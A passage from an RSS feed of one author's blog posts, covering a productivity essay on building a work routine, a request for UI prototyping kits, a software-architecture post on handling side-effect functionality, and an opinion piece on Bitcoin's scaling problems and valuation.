&lt;p&gt;I never believed in the standard 9–5. It seemed to me there are different kinds of people; those who wake up early and find themselves to be productive in the earlier hours, and those who sleep in and work evenings. When I was (even) younger, I thought my productivity found me, magically, in the later hours of the day. I would feel demotivated and unproductive all day, but would start working at 9 PM, only to stop working when the sun was coming up; my 9–5 was certainly different from most. Going to bed at 5 AM, of course, led to waking up at 2 PM.&lt;br&gt;
 &lt;br&gt;
Maybe it's true that some people have an easier time waking up in the morning and some people thrive in the evening, but it's hard to deny the existence of &lt;em&gt;flow&lt;/em&gt;, and our power over it. My routine of waking up late, slacking off all day and then finally getting to work created a positive feedback loop. I fell into the routine and maintained it by telling myself that was just how I functioned best. Blinded by feeling special, I never considered that I could simply be wrong. I was wrong. I was very wrong.&lt;/p&gt;

&lt;p&gt;By waking up late, but always starting work around the same time, I had programmed myself to start feeling motivated and productive at that exact time. &lt;em&gt;Flow&lt;/em&gt; kicked in not long after, so I couldn't go to bed early. I realized this had become a problem but every attempt I made at changing it seemed to fail. Waking up early was hard, I wasn't productive in the mornings and I would need to take frequent naps, even if I had slept 8 hours that night. After a day or two, I'd give up by working until 5 AM and telling myself it wouldn't be healthy not to get 8 hours of sleep when my alarm rang 3 hours later.&lt;/p&gt;

&lt;p&gt;The solution is simple, but not easy. Building a routine simply takes more than a few days. It might take weeks in fact, for you to be completely comfortable with your new lifestyle, but you do have that control. &lt;em&gt;Flow&lt;/em&gt; doesn't come to you magically, it's trained. Stephen King doesn't get lucky and isn't magically a productive author. He writes every single day and has done so long enough for his creativity, his &lt;em&gt;flow&lt;/em&gt;, to become a habit.&lt;/p&gt;

&lt;p&gt;The difficult decision is not to call yourself different, a suffering artist who is so unique, he can only do his amazing work when everyone else is getting a good night's sleep. To wake up early, build a routine based on your body's natural requirements and take control of your productivity is the difficult decision. Often in life, we make decisions that seem hard but are in fact easy and those easy decisions can make our lives more difficult. When it comes to finding &lt;em&gt;flow&lt;/em&gt;, we can be a bit harder on ourselves. We can take a little more responsibility. We'll be better for it.&lt;/p&gt;

</description>
      <category>productivity</category>
      <category>freelance</category>
      <category>work</category>
      <category>lifestyle</category>
    </item>
    <item>
      <title>Favorite UI kit for prototyping?</title>
      <dc:creator>Stefan Dorresteijn</dc:creator>
      <pubDate>Wed, 14 Nov 2018 21:29:38 +0000</pubDate>
      <link>https://forem.com/stefandorresteijn/favorite-ui-kit-for-prototyping-1505</link>
      <guid>https://forem.com/stefandorresteijn/favorite-ui-kit-for-prototyping-1505</guid>
      <description>&lt;p&gt;Hey everyone!&lt;/p&gt;

&lt;p&gt;I build a lot of prototypes for my own projects and for clients, as a freelancer. Because there often isn't a budget for design, I am forced to use UI/UX kits to build these prototypes. Unfortunately, design is by far my weakest skill so I use a lot of prefab stuff, and I "borrow" a lot from other websites. However, I haven't found a real UI kit that makes prototyping easy and fun.&lt;/p&gt;

&lt;p&gt;Which UI/UX framework or kit do you love using, and why?&lt;/p&gt;

&lt;p&gt;Thanks!&lt;/p&gt;

</description>
      <category>prototype</category>
      <category>design</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Dealing with "extra" functionality</title>
      <dc:creator>Stefan Dorresteijn</dc:creator>
      <pubDate>Fri, 25 May 2018 11:26:09 +0000</pubDate>
      <link>https://forem.com/stefandorresteijn/dealing-with-extra-functionality-38b3</link>
      <guid>https://forem.com/stefandorresteijn/dealing-with-extra-functionality-38b3</guid>
      <description>&lt;p&gt;Every application deals with functionality that is not part of its core scope. Todo list applications need to send reminders, taxi apps need to mail receipts and review apps need to update average scores. None of this belongs to the core functionality of the application but is needed to improve its user experience. So how do you deal with this functionality creep?&lt;/p&gt;

&lt;h4&gt;
  
  
  Single-functionality functions
&lt;/h4&gt;

&lt;p&gt;At Sjauf we strive for single-functionality resolver functions. This means every request only does one thing, keeping our resolvers clean and simple. Whenever our application wants to complete another action, it needs to send another request. For most functionality, this makes a lot of sense. You don't want your requests to have unexpected consequences. Unfortunately, sometimes single functionality is not enough. We'll take our trip booking functionality as an example.&lt;/p&gt;

&lt;p&gt;When a user books a trip we have to take these steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Validate user input&lt;/li&gt;
&lt;li&gt;Calculate a price&lt;/li&gt;
&lt;li&gt;Save the trip in our database&lt;/li&gt;
&lt;li&gt;Send a confirmation email to the user&lt;/li&gt;
&lt;li&gt;Send notifications to our drivers&lt;/li&gt;
&lt;li&gt;Send a chat message to our user&lt;/li&gt;
&lt;li&gt;Send an email to our planning department&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;While steps 1 through 3 are all true to the core responsibility of this request, anything else can be considered &lt;em&gt;extra&lt;/em&gt; and should -- in our design philosophy -- be moved out of this function/resolver. So where do these functions go and how do we call them?&lt;/p&gt;

&lt;h4&gt;
  
  
  Can we fix it? Yes we can!
&lt;/h4&gt;

&lt;p&gt;There are a few solutions we can come up with. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Screw our philosophy, do it all in one place!&lt;/strong&gt;&lt;br&gt;
If we ignore our philosophy, we can simply put this &lt;em&gt;extra&lt;/em&gt; functionality in the resolver function we wrote. With proper separation of functionality in the rest of the app, it's easy to create a function for every step and simply call these functions on a background thread, to make sure your resolver isn't unnecessarily delayed. &lt;/p&gt;

&lt;p&gt;Unfortunately, I don't believe in ignoring a philosophy I've worked hard to develop and implement. Sure, it might seem easy to break your own rules for once but it sets a precedent, resulting in more rule breaking. That's a slippery slope so proceed with caution!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Database listeners&lt;/strong&gt;&lt;br&gt;
Using database listeners, you can perform functionality when a change happens in your database. For the booking process, we'll listen to new trips being created. An advantage of this is that you can separate this solution entirely from all other functionality. You can even run it in a completely standalone application, as long as it connects to your database. You also have access to the entire row you just created/updated right when it happens. As a final cherry on top of the already pretty decent cake, these listeners will get triggered even when you update the database manually or through an admin panel or other application.&lt;/p&gt;

&lt;p&gt;There is a huge downside to this way of doing things. Because database listeners always trigger, you have no control over what might happen. Uncontrollable and unforeseen consequences everywhere! Also, because your code would most of the time not be in the same file as your core functionality, it would be hard to understand the flow of your data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Function hooks&lt;/strong&gt;&lt;br&gt;
Hooking is the act of intercepting a function in order to change its functionality. For our purposes, we would hook into the booking function to perform our &lt;em&gt;extra&lt;/em&gt; functionality after the trip has been booked. You would most likely keep these hooks in the same file for clarity. You keep all functionality where it's supposed to be without losing sight of where your code lives.&lt;/p&gt;

&lt;p&gt;Again, there's a downside. Not every language has hook functionality, meaning you might have to implement a version of this yourself. Also, because you're separating functionality, you will need to either document your after_function callbacks perfectly or create a pattern that doesn't require documentation. I'll leave that to you.&lt;/p&gt;

&lt;h4&gt;
  
  
  Conclusions
&lt;/h4&gt;

&lt;p&gt;Your solution to this problem will depend on your particular stack and ability to document. I would always advise against just stuffing all functionality in one function and calling it a day. It's quick but it also creates functions that do more than one thing, which is a bad idea. Database listeners might lead to unexpected consequences but at least the code is separated. Function hooks seem to be the best way to go here. They allow you to separate your code while keeping some form of clarity. Unfortunately, this pattern requires documentation and a decent amount of discipline which can be tricky.&lt;/p&gt;

&lt;p&gt;In the end, this is a design choice and it's up to you to solve. What solution do you prefer?&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>design</category>
      <category>patterns</category>
      <category>teams</category>
    </item>
    <item>
      <title>Gravely misunderstood; the Bitcoin story</title>
      <dc:creator>Stefan Dorresteijn</dc:creator>
      <pubDate>Tue, 08 May 2018 20:16:28 +0000</pubDate>
      <link>https://forem.com/stefandorresteijn/gravely-misunderstood-the-bitcoinstory-53bh</link>
      <guid>https://forem.com/stefandorresteijn/gravely-misunderstood-the-bitcoinstory-53bh</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A purely peer-to-peer version of electronic cash would allow online payments to be sent directly from one party to another without going through a financial institution. — &lt;strong&gt;Satoshi Nakamoto&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Welcome to the first in a series of articles on cryptocurrencies. In this series&lt;br&gt;
I’ll dive deep into the largest, or most popular cryptocurrencies. I’ll tell you&lt;br&gt;
what I think they’re worth, what their roadmap is/should be and what I think of their team.&lt;/p&gt;

&lt;p&gt;I obviously don’t have an insider view on these companies/currencies but I have a background in software engineering and a serious interest and stake in cryptocurrencies, allowing me to do proper research before giving them my seal of (dis)approval.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bitcoin.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Today we’re starting with the largest of the cryptocurrencies; Bitcoin. Father&lt;br&gt;
of the blockchain, Bitcoin has a market cap of $&lt;a href="https://coinmarketcap.com/currencies/bitcoin/"&gt;157B&lt;/a&gt;. Bitcoin was originally imagined by Satoshi Nakamoto as a decentralized payment system but became much more than that. It is the industry leader both in valuation and status, pulling the cryptocurrency cart in terms of regulation and mainstream adoption. However, Bitcoin doesn’t seem to be the currency once imagined by Satoshi Nakamoto, or at least, it doesn’t function as such any longer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tech.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Bitcoin has a scaling problem. To understand this scaling problem, you need to understand how Bitcoin — and by extension, the blockchain — works. When you perform a Bitcoin transaction, that transaction is thrown on a block and every 10 minutes, that block is added to the blockchain. The amount of transactions in a block is limited to prevent a block from being over 1mb in size. This was introduced in 2010 by Nakamoto in order to prevent DoS attacks on the Bitcoin network. Without this limitation, an attacker could create blocks of infinite size, paralyzing the network.&lt;/p&gt;

&lt;p&gt;While many things have changed since 2010, the block size limit problem still exists. In 2017, the introduction of SegWit allowed the block size to grow up to 2mb (and eventually up to 4mb) and opened up the Bitcoin blockchain for services to be built on top of it. However, SegWit introduction wasn’t all smooth sailing. In fact, this scaling issue led to multiple hard forks of Bitcoin, creating Bitcoin Unlimited and BitcoinCash in the process, both of which I will discuss in future articles.&lt;/p&gt;

&lt;p&gt;As the scaling issue exists, it severely handicaps Bitcoin as a mode of transacting value. Transactions take very long to perform and the low fees a cryptocurrency should be able to provide have long disappeared. An on-chain solution needs to be created that properly handles the scaling issue now and in the long run.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Team/Community&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It’s hard to talk about “the bitcoin team” or even “the bitcoin community” because ironically, they never seem to be able to come to a consensus. Solutions to problems are proposed, then a hard-fork is proposed and there’s another cryptocurrency with “Bitcoin” in its name. While I believe eventually one of these coins will win the market-cap race, I don’t think they all serve the same purpose. The lack of consensus in the Bitcoin community comes mostly from a disagreement in scaling methods. Where Bitcoin decided on the SegWit solution, some community members decided that was against Bitcoin’s original design and that other solutions should be found. This created multiple hard forks, leading us down a road of shattered community support and multiple currencies, trying to fulfill the same purpose.&lt;/p&gt;

&lt;p&gt;Likely the largest issue existing in the Bitcoin world today is the fight between Bitcoin and Bitcoin Cash. The former still exists as the official Bitcoin but the latter sees itself as the only rightful carrier of that name. I won’t cast judgment on who’s right but it’s obvious these disagreements have led to miscommunication to new users and a lot of angry tweets. Fortunately, even the split Bitcoin communities are large enough to sustain themselves and one of the scaling methods/development teams will prove themselves to be the best, hopefully leading to a single, united Bitcoin community again.&lt;/p&gt;

&lt;p&gt;If we look at the Bitcoin core development team, there’s not much to comment on a technical level. A currency this large and this tested simply has to be properly developed to run at scale, which it is currently doing. If we ignore the scaling issues — which I don’t see as a technical issue but more a community issue — Bitcoin is rather solid. If the community can get together and decide on a proper path forward, I don’t see tech ever becoming a serious issue for this currency.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Valuation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The word on many people’s minds nowadays is “bubble” and the question if Bitcoin can be considered to be one. In my opinion, the Bitcoin price as it stands is far too high. While I completely believe in cryptocurrencies having a major impact on the world in the future, I don’t think Bitcoin is necessarily the answer. If you’re going to &lt;em&gt;take over the world&lt;/em&gt;, you need a few things Bitcoin currently doesn’t have under control:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Quick transactions, meaning people don’t have to wait for their money to arrive. Imagine having to wait 15 minutes for your payment to go through when you’re checking out at the grocery store. While Bitcoin &lt;em&gt;can&lt;/em&gt; be incredibly quick, it has issues performing transactions at a high speed at peak times. Solutions have been designed for this but the currency itself doesn’t have a proper one yet.&lt;/li&gt;
&lt;li&gt;Cheap transactions &lt;em&gt;or&lt;/em&gt; low transaction fees. It shouldn’t cost me much to pay for something. The higher this cost, the more likely I am to switch to a FIAT alternative. While most cryptocurrencies are significantly cheaper than FIAT alternatives, Bitcoin struggles at times. The lightning network solves this problem but that’s not a Bitcoin solution, it’s a community-developed solution for a Bitcoin problem.&lt;/li&gt;
&lt;li&gt;Single-player influence. While a decentralized currency means no single person or organization can alter the chain of transactions, currently one person with deep pockets can make the Bitcoin price shoot up or down. If Bitcoin ever wants to be truly decentralized and uncontrollable by large entities, it needs to do better at stopping hoarders from tanking the price.&lt;/li&gt;
&lt;li&gt;Hoarding. If you look at the amount of Bitcoin actually being actively transacted, you’ll quickly spot that a large majority of the coins are never moved. They’re in the wallets of the largest miners. This is a problem because it creates a false scarcity and it gives control over the price to those people holding large amounts of the coin (see point 3.)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These are only a few of the larger issues Bitcoin faces as it tries to become a mainstream currency. While I believe new solutions for existing problems are popping up left and right, the currency will have to solve a lot of these issues itself if it wants to scale up. This, and because Bitcoin was first, not best, is why I believe we can expect to see the Bitcoin price drop quite aggressively before it slowly moves back up to a reasonable price. There is currently simply no reason for this coin to be worth what its market cap shows.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Closing remarks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I believe Bitcoin was the most innovative thing to hit the world when it was invented. This paved the way for other cryptocurrencies to be created which now do Bitcoin’s job better than Bitcoin itself. If it wants to stay #1, Bitcoin will have to adjust and unite. While I believe in the strength of Bitcoin, I fear it has strayed away from Satoshi Nakamoto's original ideas. Bitcoin is no longer useful for transactions and seems to be more functional as a store of value.&lt;/p&gt;

&lt;p&gt;The Bitcoin price might drop strongly in the coming year(s) but I believe it will crawl back up at a more reasonable pace when it has. That’s when the bubble has burst, when the incredible profits are gone and the currency can start looking at mainstream acceptance. &lt;/p&gt;

&lt;p&gt;This was the first of my articles on blockchain and cryptocurrencies. Please let me know what you thought of this article!&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article was originally posted on &lt;a href="https://medium.com/@stefandorresteijn/gravely-misunderstood-the-bitcoin-story-923c2877273a"&gt;My Medium&lt;/a&gt;, where I write about a myriad of topics&lt;/em&gt;&lt;/p&gt;

</description>
      <category>bitcoin</category>
      <category>blockchain</category>
      <category>crypto</category>
    </item>
  </channel>
</rss>
